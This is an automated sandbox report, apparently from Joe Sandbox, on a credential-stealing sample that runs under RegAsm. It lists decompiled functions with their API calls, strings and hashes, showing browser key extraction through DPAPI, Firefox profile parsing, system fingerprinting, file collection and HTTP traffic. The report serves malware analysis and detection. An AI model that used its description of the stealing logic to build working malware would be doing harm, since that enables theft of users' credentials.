Opcode Fuzzy Hash: 92cb3870f75b6ba644ebc7bc9013fe72411ca387304fe8484cf0489906a39471
Instruction Fuzzy Hash: D3315C71940714ABCF16EF6AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416E60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00416EC7
CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

OEA, xrefs: 00416E82, 00416F2A, 00416EE8

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID: OEA
API String ID: 4198075804-139647401
Opcode ID: 8ffc16897376bbbcd1538edfdffe52226d284d3c3260bc63b219538ddb0ee355
Instruction ID: 3ab628f0377ae1a89a71dd898b99247a1a09803538ed89c7df67326ae102d4be
Opcode Fuzzy Hash: 8ffc16897376bbbcd1538edfdffe52226d284d3c3260bc63b219538ddb0ee355
Instruction Fuzzy Hash: 89215532900218ABCF10EF96E8459DE7BB9FF40318F11412BF904A3150D738EA8ACFA4

Function 00416D8F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416D96
lstrlenA.KERNEL32(?,0000001C), ref: 00416DA1
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416E25

Strings

ERROR, xrefs: 00416E1D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 1c1caafaf30d7a7d706106c7d93cdd3e980ec53aa5b1dd7ff5b2dd108d700164
Instruction ID: 7e0f82cd00d670f6d3ed87bc16be55dacf2690d9f5db18fbe83db9146c1ce7a1
Opcode Fuzzy Hash: 1c1caafaf30d7a7d706106c7d93cdd3e980ec53aa5b1dd7ff5b2dd108d700164
Instruction Fuzzy Hash: 4D118171900509AFCB40FF75D9025DDBBB1BF04318B90413AE814E3591D739EAA99FC9

Function 00412446 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,?,VJA,00000000,?,?,?,00414A56), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A56), ref: 0041249E

Strings

VJA, xrefs: 0041247C, 0041247F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: VJA
API String ID: 1065093856-2621267353
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C143060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C143095

Part of subcall function 6C1435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C1CF688,00001000), ref: 6C1435D5
Part of subcall function 6C1435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1435E0
Part of subcall function 6C1435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C1435FD
Part of subcall function 6C1435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C14363F
Part of subcall function 6C1435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C14369F
Part of subcall function 6C1435A0: __aulldiv.LIBCMT ref: 6C1436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C14309F

Part of subcall function 6C165B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1656EE,?,00000001), ref: 6C165B85
Part of subcall function 6C165B50: EnterCriticalSection.KERNEL32(6C1CF688,?,?,?,6C1656EE,?,00000001), ref: 6C165B90
Part of subcall function 6C165B50: LeaveCriticalSection.KERNEL32(6C1CF688,?,?,?,6C1656EE,?,00000001), ref: 6C165BD8
Part of subcall function 6C165B50: GetTickCount64.KERNEL32 ref: 6C165BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C1430BE

Part of subcall function 6C1430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C143127
Part of subcall function 6C1430F0: __aulldiv.LIBCMT ref: 6C143140

Part of subcall function 6C17AB2A: __onexit.LIBCMT ref: 6C17AB30

Strings

g/, xrefs: 6C14306A

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: g/
API String ID: 4291168024-2179982415
Opcode ID: 9c4ba7b75d5b1c647d206a36d145faafaff0f58dd32074e1b36adfb33071a4c4
Instruction ID: 5ef28adb3f5a217e00e49b1a704f857067aaed4ee837b4d6fdb530c3af5a0680
Opcode Fuzzy Hash: 9c4ba7b75d5b1c647d206a36d145faafaff0f58dd32074e1b36adfb33071a4c4
Instruction Fuzzy Hash: 1EF02D12E2075497CB10DF7488412E67B71EF6B118F505319F89457651FB30A3DE93D1

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,0043740C,00436817,?,?,?), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 459cd9c668c9d3dac047d98457e967798d1d03a946412a2b16b812ce937afc69
Instruction ID: 42ca61e586c1720d2c047ca9a9af7e1789792bcd68f96686660d08a5fcddf259
Opcode Fuzzy Hash: 459cd9c668c9d3dac047d98457e967798d1d03a946412a2b16b812ce937afc69
Instruction Fuzzy Hash: 4E713172A00119ABCF01FBA5EE469CD7775EF04309F115036F500B71A1DBB9AE898B99

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437530,0043689B), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 5fcfc918b7067b4acf3c39151c0ee55033f2a22d9b6e8bb2709fb18692aaa856
Instruction ID: 4db8db0b305f3fc5c263bdd2f9663bd58fe1f20240ba26d60a6caa46d7645bef
Opcode Fuzzy Hash: 5fcfc918b7067b4acf3c39151c0ee55033f2a22d9b6e8bb2709fb18692aaa856
Instruction Fuzzy Hash: DC41FB76A001199BCF11FBA5DD465CD77B5AF04308F51003AFD40B3192DBB8AE8D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 0040821B
"encrypted_key":", xrefs: 004081DF
, xrefs: 00408241

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 4cb4a0965ee0ef5ee919df8f9f791905bb3a80c41a9dbf531dbf635d4f5d18ba
Instruction ID: 4cb87360d4cc9858b9bae9126dd361b9e7f070cb957ea2b410353c93073faa23
Opcode Fuzzy Hash: 4cb4a0965ee0ef5ee919df8f9f791905bb3a80c41a9dbf531dbf635d4f5d18ba
Instruction Fuzzy Hash: 9321F532E40209ABDF14EB91DD41ADE7374AF41360F1044BEE950B72D0DF389A49CA58

Function 00410F51 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924,Keyboard Languages: ,00436908), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000), ref: 00410FA6

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004162F9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416341
lstrcatA.KERNEL32(?), ref: 0041635F

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

Strings

7zA, xrefs: 00416477

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 7zA
API String ID: 153043497-175032957
Opcode ID: bc5468eb71594b395590fde63c09a3da5e5195f092b7dc41013fec04b9ed5089
Instruction ID: b3e3a05dd6e1b3f2d1f401c5eb4087b2e9cdcdc9d722114950f18d252210513d
Opcode Fuzzy Hash: bc5468eb71594b395590fde63c09a3da5e5195f092b7dc41013fec04b9ed5089
Instruction Fuzzy Hash: 9B31197280050EEFCF09EB60DC43EE8337AEB08308F0444AEB506932A1EA769B559F55

Function 00416807 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041683C

Strings

ERROR, xrefs: 0041685F
ERROR, xrefs: 00416834

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

